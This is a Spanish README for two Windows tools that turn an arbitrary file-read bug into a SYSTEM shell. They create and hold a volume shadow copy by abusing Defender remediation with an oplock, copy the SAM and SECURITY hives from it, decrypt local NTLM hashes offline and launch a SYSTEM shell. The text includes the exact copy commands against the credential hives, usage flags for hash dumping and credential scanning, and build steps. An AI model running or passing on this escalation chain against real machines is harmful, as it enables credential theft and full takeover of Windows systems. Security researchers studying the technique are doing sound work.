
prueba
Dos pequeñas herramientas que convierten un fallo de lectura arbitraria de archivos en Windows en un shell SYSTEM.
vss_freeze/ — crea una copia de sombra de volumen como usuario estándar, luego la mantiene abierta para que tengas tiempo de leer los archivos SAM/SECURITY/SYSTEM de ellafr2system/ — toma los archivos que copiaste, descifra los hashes NTLM locales sin conexión y lanza un shell SYSTEMJunto con cualquier primitiva de lectura arbitraria de archivos que se ejecute como SYSTEM (o cualquier cosa que pueda leer de \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\...), esto forma una cadena completa de usuario estándar → SYSTEM en un equipo con Win10/Win11 por defecto.
Esto se extrajo de BlueHammer — la investigación sobre abuso de Win Defender donde descubrimos que soltar un archivo EICAR en una ruta vigilada hace que Defender cree una copia de sombra de volumen como parte de su flujo de corrección. Mantuvimos un oplock por lotes de RstrtMgr.dll en la ruta de carga de Defender para que Defender se detenga al inicio de la corrección, lo que a su vez mantiene VSS vivo el tiempo necesario.
Originalmente había una segunda etapa con un bloqueo cldflt encima, pero cldflt rechaza proveedores de sincronización que no sean OneDrive en Win11 24H2 (CfRegisterSyncRoot devuelve 0x80070057). Mantener abierto el oplock de la primera etapa resultó suficiente: Defender se queda en pausa, VSS se mantiene vivo, sin necesidad de la API de Cloud Files.
[ vss_simple_freeze.exe ] → [ tu PoC de lectura arb. ] → [ fr2system.exe ]
crea VSS como usuario lee SAM/SECURITY descifra NTLM, lanza
estándar, lo mantiene desde la ruta VSS shell SYSTEM
mediante oplock
vss_simple_freeze.exe --hold 120 como usuario normal. Muestra la ruta VSS, p.ej. \Device\HarddiskVolumeShadowCopy7.\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\Windows\System32\Config\SAM\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\Windows\System32\Config\SECURITYC:\Windows\Temp\fileread\SAM y C:\Windows\Temp\fileread\SECURITY.fr2system.exe. Shell SYSTEM.Si solo quieres verificar que la cadena funciona de principio a fin en tu equipo, simula el paso de lectura arb. con un cmd de administrador:
:: Ventana 1 - usuario estándar
vss_simple_freeze.exe --hold 300
:: Ventana 2 - cmd de administrador (simulando la primitiva de lectura arb.)
mkdir C:\Windows\Temp\fileread
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy7\Windows\System32\Config\SAM" C:\Windows\Temp\fileread\SAM
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy7\Windows\System32\Config\SECURITY" C:\Windows\Temp\fileread\SECURITY
:: Ventana 3 - usuario estándar de nuevo
fr2system.exe
(Reemplaza 7 con el número que haya mostrado vss_simple_freeze.)
vss_simple_freeze.exe [opciones]
--hold N Liberación automática tras N segundos (por defecto: esperar Enter)
--auto No interactivo, mantener hasta 600 s
--publish FILE Escribir la ruta VSS en FILE (por defecto: %TEMP%\vss_current.txt)
--no-publish No escribir la ruta VSS en ningún sitio
--event NAME Liberar cuando el evento con nombre Local\NAME sea señalado
--quiet Suprimir salida de actividad por segundo
--help Mostrar ayuda
Ejemplos:
vss_simple_freeze.exe # interactivo, Enter para liberar
vss_simple_freeze.exe --hold 120 # liberación automática tras 2 min
vss_simple_freeze.exe --event lpe_done --hold 300 # liberar al señalizar o tras 5 min
fr2system.exe [opciones]
(ninguna) Por defecto - leer SAM/SECURITY de C:\Windows\Temp\fileread, escalar a SYSTEM
--dump Solo volcar hashes NTLM, sin escalar
--scan Buscar fuentes alternativas de credenciales
--path DIR Usar un directorio de entrada diferente
--help Mostrar ayuda
Ejemplos:
fr2system.exe
fr2system.exe --dump
fr2system.exe --path C:\lab\hives
fr2system.exe espera al menos SAM en el directorio de entrada. SECURITY es opcional (se usa para secretos LSA / claves DPAPI).
Ambos proyectos usan MSVC (CRT estático, x64).
cd vss_freeze
build_vss_simple_freeze.bat
cd fr2system
msbuild fr2system.sln /p:Configuration=Release /p:Platform=x64
Creación de VSS:

fr2system → shell SYSTEM:
